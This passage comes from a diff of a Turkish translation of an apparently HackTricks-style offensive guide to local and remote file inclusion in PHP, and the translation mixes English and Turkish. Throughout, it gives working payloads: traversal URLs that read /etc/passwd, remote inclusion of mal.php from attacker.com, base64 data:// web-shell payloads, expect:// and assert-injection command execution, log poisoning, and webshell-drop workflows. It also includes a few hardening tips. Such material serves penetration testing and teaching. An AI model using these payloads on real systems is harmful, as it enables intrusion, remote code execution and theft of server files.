http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd ``` -Bu senaryolarda ihtiyaç duyulan traversal sayısı yaklaşık 2027 olabilir, ancak bu sayı sunucunun yapılandırmasına göre değişebilir. +Bu senaryolarda gerekli traversals sayısı yaklaşık 2027 civarında olabilir, ancak bu sayı sunucunun yapılandırmasına bağlı olarak değişebilir. -- **Dot Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal dizileri (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkisiz hale getirebilir. -- **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e gitmek için gereken tam `../` dizisi sayısı bulunabilir; böylece eklenen dizeler (ör. `.php`) nötralize edilir ama hedef yol (`/etc/passwd`) korunur. -- **Sahte Bir Dizinle Başlama**: Yolun başına var olmayan bir dizin (ör. `a/`) koymak yaygın bir uygulamadır. Bu teknik, önlem amaçlı veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır. +- **Nokta Segmentleri ve Ek Karakterlerin Kullanımı**: Traversal sequences (`../`) ekstra nokta segmentleri ve karakterlerle birleştirilerek dosya sisteminde gezinmek için kullanılabilir; bu, sunucunun eklediği dizeleri etkili şekilde yok saymayı sağlar. +- **Gerekli Traversal Sayısını Belirleme**: Deneme-yanılma yoluyla, kök dizine ve ardından `/etc/passwd`'e ulaşmak için gereken tam `../` sayısı bulunabilir; bu şekilde `.php` gibi eklenen dizeler etkisiz hale getirilir ve hedef yol (`/etc/passwd`) korunur. +- **Sahte Bir Dizinle Başlamak**: Yolun, `a/` gibi var olmayan bir dizinle başlatılması yaygın bir uygulamadır. Bu teknik önlem olarak veya sunucunun yol ayrıştırma mantığının gereksinimlerini karşılamak için kullanılır. -Path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışını ve dosya sistemi yapısını anlamak çok önemlidir. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapılması gerekir. +path truncation techniques kullanılırken, sunucunun yol ayrıştırma davranışı ve dosya sistemi yapısı iyi anlaşılmalıdır. Her senaryo farklı bir yaklaşım gerektirebilir ve en etkili yöntemi bulmak için genellikle test yapmak gerekir. -**Bu güvenlik açığı PHP 5.3'te giderildi.** +**Bu zafiyet PHP 5.3'te giderildi.** -### **Filtre bypass hileleri** +### **Filtre atlatma hileleri** ``` http://example.com/index.php?page=....//....//etc/passwd http://example.com/index.php?page=..///////..////..//////etc/passwd @@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter ``` ## Remote File Inclusion -php'de varsayılan olarak bu devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off.** Çalışması için **On** olması gerekir ve bu durumda sunucunuzdan bir PHP dosyasını include ederek RCE elde edebilirsiniz: +php'de bu varsayılan olarak devre dışı bırakılmıştır çünkü **`allow_url_include`** **Off**'tur. Çalışması için **On** olmalıdır ve bu durumda sunucunuzdan bir PHP file'ı include ederek RCE elde edebilirsiniz: ```python http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php ``` -Bir nedenle **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtreliyorsa**, [bu yazıya göre](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), örneğin data protokolünü base64 ile kullanarak b64 PHP kodunu çözebilir ve RCE elde edebilirsiniz: +Eğer bir sebepten dolayı **`allow_url_include`** **On** ise, fakat PHP dış web sayfalarına erişimi **filtering** ile engelliyorsa, [bu gönderiye](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/) göre, örneğin data protocol ile base64 kullanarak b64 PHP kodunu decode edip RCE elde edebilirsiniz: ``` PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt ``` > [!TIP] -> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürecek ve gerçek PHP kodu include edilecek (dolayısıyla çalıştırılacak). +> Önceki kodda, son `+.txt` eklendi çünkü saldırganın `.txt` ile biten bir string'e ihtiyacı vardı; bu yüzden string onunla biter ve b64 decode işleminden sonra o kısım sadece çöp döndürür ve gerçek PHP code dahil edilir (ve dolayısıyla, çalıştırılır). -Bir başka örnek **`php://` protokolünü kullanmayan** şöyle olabilir: +Başka bir örnek **`php://` protokolünü kullanmayan** şöyle olurdu: ``` data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt ``` -## Python Kök element +## Python Kök öğesi -python'da aşağıdaki gibi bir kodda: +Python'da şöyle bir kodda: ```python # file_name is controlled by a user os.path.join(os.getcwd(), "public", file_name) ``` -Kullanıcı **`file_name`**'e bir **mutlak yol** geçirirse, **önceki yol sadece kaldırılır**: +Eğer kullanıcı **`file_name`**'e **mutlak bir yol** gönderirse, **önceki yol sadece kaldırılır**: ```python os.path.join(os.getcwd(), "public", "/etc/passwd") '/etc/passwd' ``` -Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre beklenen davranıştır: +Bu, [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)'a göre amaçlanan davranıştır: > Eğer bir bileşen mutlak bir yol ise, önceki tüm bileşenler atılır ve birleştirme mutlak yol bileşeninden devam eder. -## Java Dizinlerini Listeleme +## Java List Directories -Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülüyor**. Bu diğer dillerde olmayacaktır (bildiğim kadarıyla). +Görünüşe göre Java'da bir Path Traversal varsa ve bir dosya yerine **bir dizin isterseniz**, dizinin **listesi döndürülür**. Bu diğer dillerde olmayacaktır (afaik). -## İlk 25 parametre +## Top 25 parameters -Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek ilk 25 parametrenin listesi yer alıyor (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)): +İşte local file inclusion (LFI) zafiyetlerine açık olabilecek Top 25 parametrenin listesi (kaynak: [link](https://twitter.com/trbughunters/status/1279768631845494787)): ``` ?cat={payload} ?dir={payload} @@ -211,36 +211,36 @@ Aşağıda local file inclusion (LFI) zafiyetine açık olabilecek ilk 25 parame ?mod={payload} ?conf={payload} ``` -## LFI / RFI — PHP wrapper'ları ve protokollerini kullanma +## LFI / RFI PHP wrapper'ları ve protokoller kullanımı ### php://filter -PHP filtreleri, veri okunmadan veya yazılmadan önce temel **veri üzerinde değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır: +PHP filtreleri, veriler okunup yazılmadan önce veri üzerinde temel **değişiklik işlemleri** gerçekleştirmeye izin verir. Filtrelerin 5 kategorisi vardır: - [String Filters](https://www.php.net/manual/en/filters.string.php): - `string.rot13` - `string.toupper` - `string.tolower` -- `string.strip_tags`: Verideki tag'leri kaldırır ( "<" ve ">" karakterleri arasındaki her şey) +- `string.strip_tags`: Verideki tagleri kaldırır (everything between "<" and ">" chars) - Note that this filter has disappear from the modern versions of PHP - [Conversion Filters](https://www.php.net/manual/en/filters.convert.php) - `convert.base64-encode` - `convert.base64-decode` - `convert.quoted-printable-encode` - `convert.quoted-printable-decode` -- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür (`convert.iconv..`). Desteklenen **tüm kodlamaların listesini** almak için konsolda şunu çalıştırın: `iconv -l` +- `convert.iconv.*` : Farklı bir kodlamaya dönüştürür(`convert.iconv..`). Desteklenen tüm kodlamaların **listesini** almak için konsolda şunu çalıştırın: `iconv -l` > [!WARNING] -> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine olanak tanımak için faydalı olabilir. Daha fazla bilgi için bkz. [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). +> `convert.iconv.*` dönüşüm filtresini kötüye kullanarak **rastgele metin üretebilirsiniz**, bu da rastgele metin yazmak veya include gibi bir fonksiyonun rastgele metin işlemesine imkan tanıyabilir. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md). - [Compression Filters](https://www.php.net/manual/en/filters.compression.php) -- `zlib.deflate`: İçeriği sıkıştırır (çok fazla veri exfiltrasyonu yaparken faydalı) -- `zlib.inflate`: Veriyi dekomprese eder +- `zlib.deflate`: İçeriği sıkıştırır (useful if exfiltrating a lot of info) +- `zlib.inflate`: Veriyi açar - [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php) - `mcrypt.*` : Kullanımdan kaldırıldı - `mdecrypt.*` : Kullanımdan kaldırıldı - Other Filters -- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda bir kaç **beklenmedik filtre** bulabilirsiniz: +- PHP'de `var_dump(stream_get_filters());` çalıştırdığınızda birkaç **beklenmeyen filtre** bulabilirsiniz: - `consumed` - `dechunk`: HTTP chunked encoding'i tersine çevirir - `convert.*` @@ -273,37 +273,37 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the > [!WARNING] > "php://filter" kısmı büyük/küçük harf duyarsızdır -### php filters'i oracle olarak kullanarak herhangi bir dosyayı okuma +### php filters'ı oracle olarak kullanarak herhangi dosyaları okuma -[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) önerilen teknik, sunucudan doğrudan çıktı alınamayan bir lokal dosyayı okumaktır. Bu teknik, **php filters kullanarak (karakter karakter) boolean exfiltration** temeline dayanır. Bunun nedeni, php filtrelerinin bir metni php'nin bir istisna atacak kadar büyük hale getirecek şekilde büyütmek için kullanılabilmesidir. +[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) çıktının sunucudan geri verilmediği durumlarda yerel bir dosyayı okumak için bir teknik önerir. Bu teknik, php filters kullanılarak yapılan **boolean exfiltration of the file (char by char) using php filters** as oracle prensibine dayanır. Bunun nedeni, php filters'ın bir metni PHP'nin bir istisna fırlatacak kadar büyük hale getirebilmek için kullanılabilmesidir. -Orijinal yazıda tekniğin ayrıntılı bir açıklaması bulunuyor; burada kısa bir özet: +Orijinal yazıda tekniğin detaylı açıklaması bulunmakla birlikte, işte kısa bir özet: -- Codec **`UCS-4LE`** kullanılarak metnin ilk karakterini başa bırakmak ve string boyutunun üssel olarak artmasını sağlamak. -- Bu, **ilk harf doğru tahmin edildiğinde** metni o kadar büyük bir hale getirmek için kullanılacak ki php bir **hata** tetikleyecek. -- **dechunk** filter ilk char onaltılık değilse **her şeyi silecek**, bu yüzden ilk char'ın hex olup olmadığını öğrenebiliriz. -- Bu, önceki ile (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştiğinde, metnin başındaki bir harfi; onu onaltılık olmayan bir karaktere dönüştürecek yeterli dönüşümü ne zaman yaptığımızı görerek tahmin etmemize izin verir. Çünkü eğer onaltılıksa, dechunk onu silmez ve başlangıç bombası php hatası tetikler. -- Codec **convert.iconv.UNICODE.CP930** her harfi bir sonraki harfe dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık onaltılık karakter olmayacağından dechunk onu silmez ve başlangıç bombası çarpımı nedeniyle php hatası tetiklenir. -- Başlarda **rot13** gibi diğer dönüşümler kullanarak n, o, p, q, r gibi diğer karakterler de leak edilebilir (ve başka codec'ler de diğer harfleri hex aralığına taşımak için kullanılabilir). -- İlk karakter bir sayı olduğunda, onu leak edebilmek için önce base64 ile encode etmek ve sırasıyla ilk 2 harfi leak etmek gerekir. -- Sonraki sorun, **ilk harften daha fazlasını nasıl leak edeceğimizdir**. Bellek sırası filtreleri kullanarak (ör. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE**) karakterlerin sırasını değiştirmek ve metnin başka harflerini ilk pozisyona getirmek mümkündür. -- Daha fazla veri elde edebilmek için fikir, başlangıçta **convert.iconv.UTF16.UTF16** ile **2 byte junk veri üretmek**, üzerine **UCS-4LE** uygulayarak bunları **bir sonraki 2 byte ile pivotlamak** ve junk veriye kadar veriyi **silmek** (bu, başlangıçtaki metnin ilk 2 byte'ını kaldırır). Leak etmek istediğiniz bite ulaşana kadar bunu sürdürün. +- Codec **`UCS-4LE`** kullanılarak metnin baştaki karakteri öne alınır ve string boyutunun üssel olarak artması sağlanır. +- Bu, ilk harf doğru tahmin edildiğinde php'nin bir **error** tetikleyeceği kadar büyük bir **text so big when the initial letter is guessed correctly** üretmek için kullanılacaktır. +- **dechunk** filtresi **remove everything if the first char is not an hexadecimal** davranışı gösterir, böylece ilk karakterin hex olup olmadığını anlayabiliriz. +- Bu, öncekiyle (ve tahmin edilen harfe bağlı diğer filtrelerle) birleştirildiğinde, metnin başındaki bir harfi, onu bir onaltılık karakter olmaktan çıkaracak kadar dönüşüm uyguladığımızda fark ederek tahmin etmemizi sağlar. Çünkü eğer hex ise dechunk onu silmez ve başlangıç bombası php hatası üretir. +- Codec **convert.iconv.UNICODE.CP930** her harfi bir sonrakine dönüştürür (yani bu codec'ten sonra: a -> b). Bu, örneğin ilk harfin `a` olup olmadığını keşfetmemizi sağlar; çünkü bu codec'i 6 kez uygularsak a->b->c->d->e->f->g olur ve harf artık bir onaltılık karakter olmaz, dolayısıyla dechunk onu silmez ve başlangıç bombasıyla çoğaldığı için php hatası tetiklenir. +- Başta **rot13** gibi dönüşümler kullanılarak n, o, p, q, r gibi diğer karakterleri leak etmek mümkündür (ve diğer codec'ler diğer harfleri hex aralığına taşımak için kullanılabilir). +- Başlangıç karakteri bir sayıysa, sayıyı leak etmek için önce base64 encode edip ilk iki harfi leak etmek gerekir. +- Son sorun, **how to leak more than the initial letter** görmektir. **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** gibi order memory filtreleri kullanarak karakterlerin sırasını değiştirmek ve metnin diğer harflerini ilk pozisyona getirmek mümkündür. +- Ve daha fazla veri elde edebilmek için fikir, **generate 2 bytes of junk data at the beginning** ile başta 2 byte çöp veri oluşturmak (convert.iconv.UTF16.UTF16 ile), sonra **UCS-4LE** uygulayarak bunun **pivot with the next 2 bytes** yapmasını sağlamak ve **d**elete the data until the junk data (bu, ilk metindeki ilk 2 bytı kaldıracaktır). Bu işlemi leak etmek istediğiniz biti elde edene kadar tekrarlayın. -Yazıda bu işlemi otomatikleştiren bir araç da paylaşıldı: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). +Yazıda bu işlemi otomatikleştiren bir araç da leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). ### php://fd -Bu wrapper, process'in açık tuttuğu file descriptor'lara erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak kullanışlıdır: +Bu wrapper, process'un open olan file descriptors'larına erişmeyi sağlar. Açık dosyaların içeriğini exfiltrate etmek için potansiyel olarak yararlıdır: ```php echo file_get_contents("php://fd/3"); $myfile = fopen("/etc/passwd", "r"); ``` -Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak sırasıyla **file descriptors 0, 1 and 2**'ye erişebilirsiniz (bunun bir saldırıda nasıl işe yarayabileceğinden emin değilim) +Ayrıca **php://stdin, php://stdout and php://stderr** kullanarak **file descriptors 0, 1 and 2**'ye sırasıyla erişebilirsiniz (bir saldırıda bunun nasıl işe yarayabileceğini bilmiyorum) ### zip:// and rar:// -İçinde bir PHPShell bulunan bir Zip veya Rar dosyası yükleyip ona erişin.\ -rar protokolünden kötüye yararlanabilmek için **özellikle etkinleştirilmesi gerekir**. +İçinde PHPShell bulunan bir Zip veya Rar dosyası yükleyin ve ona erişin.\ +rar protokolünü kötüye kullanabilmek için **özellikle etkinleştirilmesi gerekir**. ```bash echo "
" > payload.php; zip payload.zip payload.php; @@ -328,24 +328,24 @@ http://example.net/?page=data:text/plain, http://example.net/?page=data:text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4= NOTE: the payload is "" ``` -Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın. +Bu protokolün php yapılandırmaları **`allow_url_open`** ve **`allow_url_include`** tarafından kısıtlandığını unutmayın ### expect:// -Expect'in etkinleştirilmiş olması gerekir. Bununla kod çalıştırabilirsiniz: +Expect etkinleştirilmiş olmalıdır. Bunu kullanarak kod çalıştırabilirsiniz: ``` http://example.com/index.php?page=expect://id http://example.com/index.php?page=expect://ls ``` ### input:// -Yükünüzü POST parametrelerinde belirtin: +Payload'unuzu POST parametrelerinde belirtin: ```bash curl -XPOST "http://example.com/index.php?page=php://input" --data "" ``` ### phar:// -Bir `.phar` dosyası, bir web uygulaması dosya yükleme için `include` gibi fonksiyonları kullandığında PHP kodu yürütmek için kullanılabilir. Aşağıdaki PHP kodu örneği bir `.phar` dosyasının oluşturulmasını göstermektedir: +Bir `.phar` dosyası, bir web uygulaması dosyaları yüklemek için `include` gibi fonksiyonlardan yararlandığında PHP kodu çalıştırmak için kullanılabilir. Aşağıda verilen PHP kodu parçası bir `.phar` dosyasının oluşturulmasını göstermektedir: ```php addFromString('test.txt', 'text'); $phar->setStub(''); $phar->stopBuffering(); ``` -`.phar` dosyasını derlemek için aşağıdaki komut çalıştırılmalıdır: +`.phar` dosyasını derlemek için, aşağıdaki komut çalıştırılmalıdır: ```bash php --define phar.readonly=0 create_path.php ``` -Çalıştırıldığında `test.phar` adlı bir dosya oluşturulacak ve bu dosya potansiyel olarak Local File Inclusion (LFI) zaafiyetlerini sömürmek için kullanılabilir. +Çalıştırıldığında `test.phar` adlı bir dosya oluşturulur; bu dosya Local File Inclusion (LFI) açıklarını istismar etmek için kullanılabilir. -Eğer LFI sadece dosyayı okuyup içindeki PHP kodunu çalıştırmıyorsa, `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla deserialization vulnerability sömürülmeye çalışılabilir. Bu zaafiyet, `phar` protokolü kullanılarak dosya okunmasıyla ilişkilidir. +LFI yalnızca içindeki PHP kodunu çalıştırmadan dosya okuma yapıyorsa — `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()` veya `filesize()` gibi fonksiyonlar aracılığıyla — deserialization açığının istismarı denenebilir. Bu zafiyet, `phar` protokolünü kullanarak dosya okunmasıyla ilişkilidir. For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below: @@ -373,74 +373,74 @@ phar-deserialization.md ### CVE-2024-2961 -It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ -Çok kısa özet: PHP heap'inde bir **3 byte overflow** suistimal edilerek belirli boyuttaki serbest chunk zinciri değiştirilip herhangi bir adrese **her şeyi yazmak** mümkün kılındı; bunun için bir hook eklenip **`system`** çağrıldı.\ -Ayrıca daha fazla php filter suistimal edilerek belirli boyutlarda chunk'lar alloc etmek mümkün oldu. +PHP'de php filter'larını destekleyen herhangi bir dosya okuması istismar edilerek RCE elde etmek mümkün oldu. Ayrıntılı açıklama [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\ +Çok kısa özet: PHP heap'inde bir **3 byte overflow** kullanılarak belirli boyuttaki serbest chunk zinciri değiştirildi ve böylece herhangi bir adrese istediğiniz her şeyi yazmak mümkün oldu; bu amaçla `system`'i çağıran bir hook eklendi.\ +Daha fazla php filter'ı suistimal ederek belirli boyutlarda chunk allocate etmek mümkün oldu. -### More protocols +### Daha fazla protokol -Dahil edilebilecek daha fazla olası [ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** +Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:** -- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Bellekte veya geçici bir dosyaya yazma (bir file inclusion saldırısında bunun nasıl faydalı olabileceği kesin değil) +- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — Belleğe veya geçici bir dosyaya yazma (file inclusion attack açısından bunun nasıl yararlı olabileceğinden emin değilim) - [file://](https://www.php.net/manual/en/wrappers.file.php) — Yerel dosya sistemine erişim - [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL'lerine erişim - [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL'lerine erişim - [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Sıkıştırma akışları -- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen pathnames bulma (Yazdırılabilir bir şey döndürmediği için burada pek kullanışlı değil) +- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — Desenle eşleşen yol adlarını bulma (yazdırılabilir hiçbir şey döndürmüyor, bu yüzden burada pek kullanışlı değil) - [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2 -- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (Rastgele dosyaları okumak için kullanışlı değil) +- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — Ses akışları (keyfi dosyaları okumak için kullanışlı değil) -## LFI via PHP's 'assert' +## PHP'nin 'assert' ile LFI -PHP'de 'assert' fonksiyonu ile ilişkili Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü assert string içindeki kodu çalıştırabilir. Bu, özellikle ".." gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün şekilde sanitize edilmezse sorun yaratır. +PHP'de 'assert' fonksiyonuyla çalışırken Local File Inclusion (LFI) riskleri özellikle yüksektir; çünkü 'assert' string içindeki kodu çalıştırabilir. Bu, özellikle '..' gibi directory traversal karakterleri içeren girdiler kontrol edilip düzgün temizlenmiyorsa problem yaratır. For example, PHP code might be designed to prevent directory traversal like so: ```bash assert("strpos('$file', '..') === false") or die(""); ``` -Bu, traversal'ı engellemeyi amaçlasa da kazara code injection için bir vektör oluşturur. Dosya içeriklerini okumak amacıyla bunu sömürmek için bir saldırgan şunu kullanabilir: +Bu, traversal'ı durdurmayı amaçlasa da istemeden code injection için bir vektör oluşturuyor. Dosya içeriğini okumak için bunu exploit etmek isteyen bir saldırgan şunu kullanabilir: ```plaintext ' and die(highlight_file('/etc/passwd')) or ' ``` -Benzer şekilde, keyfi sistem komutlarını çalıştırmak için şunu kullanabilirsiniz: +Benzer şekilde, rastgele sistem komutlarını çalıştırmak için şu kullanılabilir: ```plaintext ' and die(system("id")) or ' ``` -Bu **payloads**'ı **URL-encode** etmek önemlidir. +Bu payload'ları **URL-encode** etmek önemlidir. ## PHP Blind Path Traversal > [!WARNING] -> Bu teknik, **dosya yolunu kontrol ettiğiniz** ve **bir PHP fonksiyonunun** **bir dosyaya erişeceği** ama dosyanın içeriğini görmeyeceğiniz durumlarda geçerlidir (örneğin basit bir çağrı olan **`file()`**) ancak içerik gösterilmez. +> Bu teknik, bir **PHP fonksiyonunun** erişeceği **dosya yolunu** siz **kontrol ettiğiniz** ama dosya içeriğini göremeyeceğiniz durumlarda geçerlidir (ör. basit bir **`file()`** çağrısı gibi) ancak içerik gösterilmez. In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**. -Özetle, teknik dosyanın içeriğini çok **büyük** hale getirmek için **"UCS-4LE" encoding** kullanıyor, böylece dosyayı açan **PHP fonksiyonu** bir **hata** tetikleyecek. +Özetle, teknik, dosya içeriğini o kadar **büyük** yapmak için **"UCS-4LE" encoding** kullanır ki dosyayı açan **PHP fonksiyonu** bir **hata** tetikler. -Sonra, ilk char'ı leak etmek için filtre **dechunk** diğerleriyle birlikte (ör. **base64**, **rot13**) kullanılır ve son olarak filtreler **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** kullanılarak **başka karakterleri başa yerleştirip leak etmek** sağlanır. +Daha sonra, ilk karakteri leak etmek için **`dechunk`** filtresi, **base64** veya **rot13** gibi diğer filtrelerle birlikte kullanılır ve nihayetinde **convert.iconv.UCS-4.UCS-4LE** ve **convert.iconv.UTF16.UTF-16BE** filtreleri başka karakterleri başa yerleştirmek ve onları leak etmek için kullanılır. -**Zafiyetli olabilecek fonksiyonlar**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` +Zayıf olabilecek fonksiyonlar: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (only target read only with this)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs` -Teknik detaylar için bahsedilen yazıya bakın! +Teknik detaylar için belirtilen gönderiye bakın! ## LFI2RCE ### Arbitrary File Write via Path Traversal (Webshell RCE) -When server-side code that ingests/uploads files builds the destination path using user-controlled data (e.g., a filename or URL) without canonicalising and validating it, `..` segments and absolute paths can escape the intended directory and cause an arbitrary file write. If you can place the payload under a web-exposed directory, you usually get unauthenticated RCE by dropping a webshell. +Sunucu tarafı kodu, yüklenen/işlenen dosyaların hedef yolunu kullanıcı kontrollü veri (ör. bir filename veya URL) kullanarak canonicalise ve validate etmeden oluşturduğunda, `..` segmentleri ve absolute path'ler hedeflenen dizinden kaçabilir ve arbitrary file write'e neden olabilir. Payload'ı web-exposed bir dizine koyabiliyorsanız genellikle bir webshell bırakarak yetkisiz RCE elde edersiniz. -Typical exploitation workflow: -- Identify a write primitive in an endpoint or background worker that accepts a path/filename and writes content to disk (e.g., message-driven ingestion, XML/JSON command handlers, ZIP extractors, etc.). -- Determine web-exposed directories. Common examples: -- Apache/PHP: `/var/www/html/` -- Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` -- IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` -- Craft a traversal path that breaks out of the intended storage directory into the webroot, and include your webshell content. -- Browse to the dropped payload and execute commands. +Tipik istismar akışı: +- Bir endpoint veya background worker içinde path/filename kabul eden ve içeriği diske yazan bir write primitive tespit edin (ör. message-driven ingestion, XML/JSON command handlers, ZIP extractors, vb.). +- Web-exposed dizinleri belirleyin. Yaygın örnekler: + - Apache/PHP: `/var/www/html/` + - Tomcat/Jetty: `/webapps/ROOT/` → drop `shell.jsp` + - IIS: `C:\inetpub\wwwroot\` → drop `shell.aspx` +- Hedef depolama dizininden webroot'a çıkacak şekilde bir traversal path oluşturun ve webshell içeriğinizi ekleyin. +- Bıraktığınız payload'a tarayıcıyla gidin ve komutları çalıştırın. -Notes: -- The vulnerable service that performs the write may listen on a non-HTTP port (e.g., a JMF XML listener on TCP 4004). The main web portal (different port) will later serve your payload. -- On Java stacks, these file writes are often implemented with simple `File`/`Paths` concatenation. Lack of canonicalisation/allow-listing is the core flaw. +Notlar: +- Yazmayı gerçekleştiren vulnerable servis non-HTTP porta dinliyor olabilir (ör. TCP 4004'te bir JMF XML listener). Ana web portalı (farklı port) daha sonra payload'ınızı serve edecektir. +- Java stack'lerinde bu dosya yazımları genellikle basit `File`/`Paths` concatenation ile uygulanır. Kanonikleştirme/allow-listing eksikliği temel hata nedenidir. Generic XML/JMF-style example (product schemas vary – the DOCTYPE/body wrapper is irrelevant for the traversal): ```xml @@ -466,26 +466,26 @@ in.transferTo(out);
``` -Bu tür hataları bertaraf eden sertleştirmeler: -- Yolu kanonik hale getirin ve bunun izinli bir temel dizinin (allow-listed base directory) alt dizini olduğunu zorunlu kılın. -- `..`, mutlak kökler veya sürücü harfleri içeren herhangi bir yolu reddedin; tercih olarak oluşturulmuş dosya adlarını kullanın. -- Yazma işlemini düşük ayrıcalıklı bir hesap olarak çalıştırın ve yazma dizinlerini sunulan köklerden ayırın. +Hardening that defeats this class of bugs: +- Kanonik bir yola çözümleyin ve bunun izin verilen (allow-listed) bir temel dizinin alt dizini olduğunu zorunlu kılın. +- `..`, mutlak kök yolları (absolute roots) veya sürücü harfleri (drive letters) içeren herhangi bir yolu reddedin; bunun yerine oluşturulmuş dosya adlarını tercih edin. +- Yazma işlemini düşük ayrıcalıklı bir hesapla çalıştırın ve yazma dizinlerini servis edilen kök dizinlerden ayırın. ## Remote File Inclusion -Daha önce açıklandı, [**follow this link**](#remote-file-inclusion). +Explained previously, [**follow this link**](#remote-file-inclusion). -### Apache/Nginx günlük dosyası aracılığıyla +### Via Apache/Nginx log file -Eğer Apache veya Nginx sunucusu include fonksiyonu içinde **vulnerable to LFI** ise **`/var/log/apache2/access.log` or `/var/log/nginx/access.log`**'a erişmeyi deneyebilir, **user agent** içine veya bir **GET parameter** içine **``** gibi bir php shell koyup o dosyayı include edebilirsiniz. +If the Apache or Nginx server is **vulnerable to LFI** inside the include function you could try 